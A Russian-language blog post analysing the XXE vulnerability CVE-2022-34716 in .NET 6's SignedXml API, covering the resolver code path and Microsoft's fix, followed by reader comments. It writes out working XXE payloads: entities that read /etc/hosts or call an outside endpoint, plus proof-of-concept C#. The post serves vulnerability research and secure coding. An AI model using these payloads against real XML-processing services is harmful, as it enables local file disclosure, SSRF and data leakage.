Современный .NET даёт разработчикам защиту от XXE из коробки: парсишь себе XML и не забиваешь голову всякими DTD, сущностями и связанной с ними безопасностью. Разве не прекрасно? Однако жизнь — штука с иронией...


Под катом — разбор по кусочкам XXE из .NET 6 SDK: код, причины дефекта безопасности, фикс.


Примечание. Я писал статью с расчётом на читателя, уже знакомого с XXE. Если только знакомитесь с темой или нужно освежить память, предлагаю эти материалы:



XXE в .NET: специфика XmlDocument


XML-парсеры с дефолтными настройками в современном .NET в основном защищены от XXE. Это достигается за счёт выключения резолверов сущностей или отключения обработки DTD — зависит от конкретного парсера.


Почему в основном?


  • не возьмусь сказать наверняка за все парсеры;
  • если бы все парсеры были защищены, то и статьи не было бы :)

Чтобы разобраться с уязвимостью из .NET 6, вспомним специфику типа XmlDocument. Начнём с примера. Такой код в современном .NET защищён от XXE:


XmlDocument xmlDoc = new XmlDocument();
xmlDoc.Load(xmlStream);
// Processing...

Убедимся в этом — попробуем прочитать XML-парсером локальный файл и распечатать содержимое в консоль:


static void ProcessXml(Stream xmlStream)
{
    var xmlDoc = new XmlDocument();       
    xmlDoc.Load(xmlStream);

    // Processing...
    Console.WriteLine(xmlDoc.InnerText);
}

Вредоносный XML:


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxeExample [
    <!ENTITY query SYSTEM "file:///etc/hosts" >
]>
<xxeExample>
    &query;
</xxeExample>

Результат — пустой выхлоп.


XML-парсер не выкинул исключение, но и сущность разбирать не стал. С сетевыми запросами ситуация аналогична: в дефолтной конфигурации парсер их не выполняет.


Приведённый выше код легко сделать опасным, проинициализировав свойство XmlResolver:


static void ProcessXml(Stream xmlStream)
{
    XmlDocument xmlDoc = new XmlDocument()
    {
        XmlResolver = new XmlUrlResolver()
    };

    xmlDoc.Load(xmlStream);

    // Processing...
    Console.WriteLine(xmlDoc.InnerText);
}

Если этот код будет парсить тот же XML, приложение запишет в консоль содержимое файла hosts:



С сетевыми запросами ситуация аналогична — меняем содержимое подаваемого на вход XML-файла и проверяем указанную в нём конечную точку.


XML с сущностью обращения к внешнему ресурсу (URI сокращён):


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxeExample [
    <!ENTITY query SYSTEM "https://*.beeceptor.com/xxe?data=Memento%20mori">
]>
<xxeExample>&query;</xxeExample>

Пойманный сетевой запрос:



Вывод: в .NET экземпляры XmlDocument безопасны из коробки, так как у них отсутствует резолвер. Однако парсер станет уязвимым, если явно проинициализировать свойство XmlResolver опасным значением (например, экземпляром XmlUrlResolver в дефолтном состоянии).


А вот в случае с .NET Framework всё не так радужно.

Безопасность дефолтных парсеров в .NET Framework зависит не только от версии фреймворка, но и от ряда других факторов. Подробнее эту тему я разбирал в докладе "Уязвимости при работе с XML в .NET: часть 2" на DotNext 2023. Запись уже можно посмотреть, если есть билет.


CVE-2022-34716: XXE в .NET 6 SDK


Общая информация


От общей теории переходим к нашей основной теме — уязвимости CVE-2022-34716.
Обычно Microsoft не даёт много информации об уязвимостях в своих продуктах. Этот раз исключением не стал. С одной стороны, мотивация таких решений понятна. С другой, факт остаётся фактом: хочешь деталей — ищи их сам.



Основная информация:



Однако, если покопаться в интернете чуть побольше, можно найти интересные подробности: link #1, link #2. Из них выясняем, что CVE-2022-34716 — это XXE, связанная с типом System.Security.Cryptography.Xml.SignedXml. Что ж, давайте попробуем составить PoC и найти причины дефекта безопасности.


Чтобы изучить проблему, соберём тестовый проект на .NET 6 SDK с уязвимой версией пакета System.Security.Cryptography.Xml — 6.0.0. Код для работы с типом SignedXml возьмём из документации.


Сокращённый вариант кода из доков, достаточный для исследования:


void ProcessSignedXml(String xmlPath) 
{       
    var xmlDoc = new XmlDocument();       
    xmlDoc.Load(xmlPath);      

    var signedXml = new SignedXml(xmlDoc);       
    signedXml.SigningKey = RSA.Create();       

    Reference reference = new Reference();       
    reference.Uri = String.Empty;       

    var env = new XmlDsigEnvelopedSignatureTransform();       
    reference.AddTransform(env);       

    signedXml.AddReference(reference);       

    signedXml.ComputeSignature();
    // ...
}

На вход подаём XML-файл следующего вида:


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxeExample [
    <!ENTITY query SYSTEM "https://path/to/endpoint">
]>
<xxeExample>&query;</xxeExample>

Вместо path/to/endpoint я использовал конкретный эндпоинт на beeceptor.com. Если при парсинге XML-файла на конечную придёт запрос, значит, мы докопались до XXE.


Алгоритм проверки получается таким:


  1. Отдаём описанный выше XML-файл в метод ProcessSignedXml.
  2. Отлаживаем код и смотрим, какое обращение к API приводит к пингу конечной точки.
  3. Раскручиваем обращение к API до выяснения причин.

Вернёмся к методу ProcessSignedXml:


void ProcessSignedXml(String xmlPath) 
{       
    var xmlDoc = new XmlDocument();       
    xmlDoc.Load(xmlPath);      

    var signedXml = new SignedXml(xmlDoc);       
    signedXml.SigningKey = RSA.Create();       

    Reference reference = new Reference();       
    reference.Uri = String.Empty;       

    var env = new XmlDsigEnvelopedSignatureTransform();       
    reference.AddTransform(env);       

    signedXml.AddReference(reference);       

    signedXml.ComputeSignature();    
    // ...
}

Первое, что может вызвать подозрение — вызов метода XmlDocument.Load:


var xmlDoc = new XmlDocument();       
xmlDoc.Load(xmlPath);    

Однако мы разобрались, что подобный код в .NET безопасен. К тому же он не задействует API SignedXml.


Создание экземпляра SignedXml также не порождает сетевого запроса:


var signedXml = new SignedXml(xmlDoc);

Не буду томить — обращение к конечной точке происходит во время вызова метода ComputeSignature. Неожиданно…


На самом деле нас интересует даже не ComputeSignature, а транзитивно вызываемый им CalculateHashValue. Цепочка вызовов выглядит так:


ComputeSignature
  -> BuildDigestReferences
       -> UpdateHashValue
            -> CalculateHashValue

Что ж, давайте посмотрим на CalculateHashValue.


Анализ метода CalculateHashValue


Метод занимает порядка 150 строк, поэтому мы разберём только маленький его фрагмент — тот, в который переходит исполнение в нашем случае:


internal byte[] 
CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList)
{
  ...
  XmlResolver resolver = null;
  ...
  resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver 
                                    : new XmlSecureResolver(new XmlUrlResolver(),
                                                            baseUri));

  XmlDocument docWithNoComments = Utils.DiscardComments(
    Utils.PreProcessDocumentInput(document, resolver, baseUri));
  ...
}

Ага, интересно… В глаза бросаются сразу несколько моментов.


Первый — присутствие переменной resolver типа XmlResolver. В начале статьи мы разбирали, что использование опасных резолверов (например, XmlUrlResolver) может сделать XML-парсер уязвимым к XXE.


Второй — проинициализированный резолвер передаётся ещё глубже — в метод Utils.PreProcessDocumentInput. Именно при его вызове и выполняется сетевой запрос.


Разберём оба этих момента.


Примечание. Рассматриваемая ветка кода — не единственная, где создаётся и используется резолвер. Если интересно посмотреть на остальные, загляните в исходники.


XmlSecureResolver


Код объявления и инициализации резолвера:


XmlResolver resolver = null;
...
resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver 
                                  : new XmlSecureResolver(new XmlUrlResolver(),
                                                          baseUri));

До этого момента резолвер выставлен не был, поэтому свойство SignedXml.ResolverSet имеет значение false. Следовательно, resolver инициализируется ссылкой на экземпляр XmlSecureResolver, созданный в alternative-ветви тернарного оператора.


Обратите внимание, что первым аргументом конструктора XmlSecureResolver выступает ссылка на экземпляр XmlUrlResolver в дефолтном состоянии. Мы уже знаем, что такие резолверы опасны. Но может внутри XmlSecureResolver есть какая-то защита? Давайте проверим:


public partial class XmlSecureResolver : XmlResolver
{
    private readonly XmlResolver _resolver;

    public XmlSecureResolver(XmlResolver resolver, string? securityUrl)
    {
        _resolver = resolver;
    }

    public override ICredentials Credentials
    {
        set { _resolver.Credentials = value; }
    }

    public override object? GetEntity(Uri absoluteUri, 
                                      string? role, Type? ofObjectToReturn)
    {
        return _resolver.GetEntity(absoluteUri, role, ofObjectToReturn);
    }

    public override Uri ResolveUri(Uri? baseUri, string? relativeUri)
    {
        return _resolver.ResolveUri(baseUri, relativeUri);
    }
}

Нет, ничего. Методы, отвечающие за резолвинг URI и обработку сущностей по факту делегируют работу объекту, на который ссылается поле _resolver. Чем оно проинициализировано? Правильно — ссылкой на опасный резолвер, который был передан в конструктор:


new XmlSecureResolver(new XmlUrlResolver(), baseUri)

Вывод: в плане работы с сущностями XmlSecureResolver так же опасен, как и XmlUrlResolver.


Utils.PreProcessDocumentInput


Вызов метода Utils.PreProcessDocumentInput выглядит так:


XmlDocument docWithNoComments = Utils.DiscardComments(
      Utils.PreProcessDocumentInput(document, resolver, baseUri));

Мы выяснили, что resolver ссылается на опасный объект. Посмотрим, что происходит внутри PreProcessDocumentInput:


internal static XmlDocument 
PreProcessDocumentInput(XmlDocument document, 
                        XmlResolver xmlResolver, 
                        string baseUri)
{
    if (document == null)
        throw new ArgumentNullException(nameof(document));

    MyXmlDocument doc = new MyXmlDocument();
    doc.PreserveWhitespace = document.PreserveWhitespace;

    // Normalize the document
    using (TextReader stringReader = new StringReader(document.OuterXml))
    {
        XmlReaderSettings settings = new XmlReaderSettings();
        settings.XmlResolver = xmlResolver;
        settings.DtdProcessing = DtdProcessing.Parse;
        ...
        XmlReader reader = XmlReader.Create(stringReader, settings, baseUri);
        doc.Load(reader);
    }
    return doc;
}

Основное, что нас интересует — создание XML-парсера (reader) на основе настроек (settings), причём:


  1. Свойство DtdProcessing инициализируется значением DtdProcessing.Parse.
  2. В свойство XmlResolver записывается ссылка на опасный резолвер — экземпляр XmlSecureResolver, с которым мы разбирались выше.

Всё это делает созданный экземпляр XmlReader уязвимым к XXE-атакам. Поэтому же вызов doc.Load(reader) может читать локальные файлы или порождать сетевые запросы, что и происходит в нашем случае.


Саммари


Соберём основные моменты, которые привели к уязвимости:


  1. При использовании API SignedXml мы неявно вызвали метод CalculateHashValue.
  2. Метод CalculateHashValue, в свою очередь, вызывает вспомогательный метод Utils.PreProcessDocumentInput, в который передаёт ссылку на экземпляр типа XmlSecureResolver.
  3. Тип XmlSecureResolver делегирует обработку внешних сущностей экземпляру типа XmlUrlResolver и из-за этого является опасным.
  4. В методе Utils.PreProcessDocumentInput создаётся XML-парсер типа XmlReader, который:
    • разбирает DTD;
    • использует в качестве резолвера экземпляр XmlSecureResolver.
  5. Из-за перечисленных свойств созданный парсер является уязвимым к XXE.
  6. Так как этот парсер разбирает вредоносный XML, возникает уязвимость.

Напомню, что мы обрабатывали с помощью SignedXml API файл такого вида:


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxeExample [
    <!ENTITY query SYSTEM "https://path/to/endpoint">
]>
<xxeExample>&query;</xxeExample>

Настроим конечную точку на возврат текста: тогда после вызова doc.Load(reader) сможем прочитать его, обратившись к свойству doc.InnerText:



Игры с цитатами из Хагакурэ — забавный эксперимент. Однако напомню, что последствиями XXE могут быть не безобидные шутки, а SSRF и утечки данных.


**
Уверен, есть и другие способы провести XXE-атаку на SignedXml: в одном только методе CalculateHashValue целых 6 мест создания и использования опасных резолверов.


Фикс


С уязвимостью разобрались, посмотрим на фикс. Он достаточно интересный — не затрагивает код создания и использования резолверов.


Продублирую код, который мы разбирали:


resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver 
                                  : new XmlSecureResolver(new XmlUrlResolver(),
                                                          baseUri));

XmlDocument docWithNoComments = Utils.DiscardComments(
    Utils.PreProcessDocumentInput(document, resolver, baseUri));

Ни он, ни внутренности метода PreProcessDocumentInput не поменялись. Основное, что изменилось — тип XmlSecureResolver. Причём даже не его реализация — приведённый фрагмент кода стал использовать в принципе другой тип. Как так? Сейчас разберёмся.


Метод CalculateHashValue определён в типе Reference из пространства имён System.Security.Cryptography.Xml. Тип XmlSecureResolver находится в пространстве имён System.Xml и в область видимости для Reference включается через using:


// Reference.cs
using System.Xml;
...
namespace System.Security.Cryptography.Xml
{
    public class Reference
    {
        ...
        internal byte[] 
        CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList)
        {
            ...
            resolver = (  SignedXml.ResolverSet 
                        ? SignedXml._xmlResolver 
                        : new XmlSecureResolver(new XmlUrlResolver(),
                                                baseUri));

            XmlDocument docWithNoComments = 
              Utils.DiscardComments(
                Utils.PreProcessDocumentInput(document, resolver, baseUri));
            ...
         }
    }
}

// XmlSecureResolver.cs
namespace System.Xml
{
    ...
    public partial class XmlSecureResolver : XmlResolver
    { ... }
}

В коммите с фиксом добавляют другую реализацию типа XmlSecureResolver в рамках пространства имён System.Security.Cryptography.Xml — того же самого, где содержится и сам тип Reference.


Получается, что код типа Reference, создания и использования резолверов не поменялись. Однако теперь используются безопасные резолверы из пространства имён System.Security.Cryptography.Xml.XmlSecureResolver, а не System.Xml.XmlSecureResolver.



Сам новый резолвер выглядит так:


namespace System.Security.Cryptography.Xml
{
    // This type masks out System.Xml.XmlSecureResolver by being in the local namespace.
    internal sealed class XmlSecureResolver : XmlResolver
    {
        internal XmlSecureResolver(XmlResolver resolver, string securityUrl)
        {
        }

        // Simulate .NET Framework's CAS behavior by throwing SecurityException.
        // Unlike .NET Framework's implementation, the securityUrl ctor parameter has no effect.
        public override object 
        GetEntity(Uri absoluteUri, string role, Type ofObjectToReturn) 
          => throw new SecurityException();
    }
}

Никакого делегирования резолвинга сущностей: если метод GetEntity вызывается, то он просто выкидывает исключение типа SecurityException. В этом можно убедиться, обновив пакет System.Security.Cryptography.Xml до версии 6.0.1. Если взять проверочный код из начала раздела и скормить ему тот же вредоносный XML, вместо раскрытия сущностей получим исключение:



Выводы


В .NET из коробки есть защита от XXE. Как мы сегодня убедились, эта же защита легко ломается, когда из-за стечения обстоятельств XML-парсеры получают опасные настройки.


Что здесь можно посоветовать:


  • следите за тем, чтобы парсеры не обрабатывали DTD / внешние сущности или делали это с необходимыми ограничениями;
  • будьте аккуратнее со сторонними компонентами (будь то SDK или NuGet-пакет). Если они работают с XML, кто знает, безопасно ли.

Да пребудет с вами безопасность.


Дополнительные материалы


Статьи



Доклады



P.S. На конференции Joker 2023 я рассказывал о специфике XXE в Java. Если интересно, в чём отличие от .NET или хочется поделиться со знакомыми Java-разработчиками, вот ссылка на доклад (чтобы посмотреть запись, нужен билет).

Комментарии (10)


  1. Tempelfeld
    24.10.2023 22:24
    -1

    А где можно взять билет?


    1. SergVasiliev Автор
      24.10.2023 22:24

      Уточнил в поддержке организаторов конференций — нужно написать им в саппорт (на почту или в Телеграм).

      Также записи докладов обычно выкладывают в общий доступ на YouTube ближе к следующей соответствующей конференции.


      1. Vitimbo
        24.10.2023 22:24

        По ссылкам какая-то беда. Серт не валидный и бот не работает :с


        1. SergVasiliev Автор
          24.10.2023 22:24

          Не могу отредачить комментарий, отдельно напишу.

          Почта: ссылка криво встала. Эл. почта: support@jugru.team
          Бот: не могу сказать, напишу ребятам в поддержку.


        1. phillennium
          24.10.2023 22:24

          Скажу от имени организаторов: хмм, проверили с нашей стороны — бот вроде бы работает. Попробуйте ещё раз, пожалуйста, если так и не получится — сообщите.


  1. dprotopopov
    24.10.2023 22:24
    -2

    Мораль сей басни такова: хочешь чтобы всё было правильно - делай сам.

    И философский вопрос - стоит или не стоит полностью полагаться на изготовителей замков для дверей?


    1. SergVasiliev Автор
      24.10.2023 22:24
      +3

      Мораль сей басни такова: хочешь чтобы всё было правильно - делай сам.

      Это так не работает :)

      Всё-таки мы никуда не уйдём от использованиях сторонних компонентов. А что уж у них внутри — одним разработчикам известно (и то не факт).

      Кстати, про "делать сам". В Java есть интересный момент, связанный с XXE: general entitites и parameter entities могут выключаться разными настройками. Видел, как в опенсорс проектах после репорта об XXE отключали одни настройки и забывали про другие...

      И философский вопрос - стоит или не стоит полностью полагаться на изготовителей замков для дверей?

      42 :)

      КМК, вопрос сильно субъективный — каждому своё.


      1. dprotopopov
        24.10.2023 22:24

        Знаю, что так не работает, что в конечном итоге приходится полагаться на доверие, на чужое мнение, на своё ошибочное мнение и т.д.

        И всегда рассчитывай, что что-то сломается ...


    1. MiraclePtr
      24.10.2023 22:24
      +3

      Мораль сей басни такова: хочешь чтобы всё было правильно - делай сам.

      Ах если бы.

      Да, в стандартных и популярных библиотеках бывают баги и дыры. Но подобное мышление обычно приводит к гораздо более грустным последствиям, когда какой-нибудь очередной Васян, страдающий синдромом Даннинга-Крюгера в терминальной стадии, решает, что уж он-то точно напишет все хорошо и правильно - а в итоге там окажется не только XXE, а ещё и пара дыр покрупнее, а в добавок его реализация ещё будет не полностью совместима со стандартом, потому что он упустил какие-то редкие граничные кейсы. И бонусом получаем тонну велосипедов с квадратными колесами, написанные такими Васянами в разных проектах.

      И если в каких-то простых предметах это в худшем случае выльется в баги в продукте и в мат программистов, которые будут потом это поддерживать, то в критических местах последствия могут быть гораздо хуже. Неспроста правила типа "don't roll your own crypto" написаны кровью в любом учебнике по инфобезопасности...


      1. fddima
        24.10.2023 22:24

        Совершенно не верно. Как показывает как раз практика последних десятилетий - хочешь что бы хорошо - сделай сам, при этом оно будет обладать гораздо лучшими эксплуатационными качествами. Вопрос исключительно только, в том, что всё подряд делать самому (или даже командой) - не представляется возможным, ввиду отсутствия ресурсов и/или экспертизы. Но если это есть - то дорога открыта. Велосипеды как вы их называете - на практике в разы дешевле, потому что они решают конкретную проблему, а не всё на свете. И что бы вы не говорили - куча задач, стандартными средствами просто не решается. А если вы говорите абстрактно за всех - то грошь этому цена, т.к. задачи у всех разные.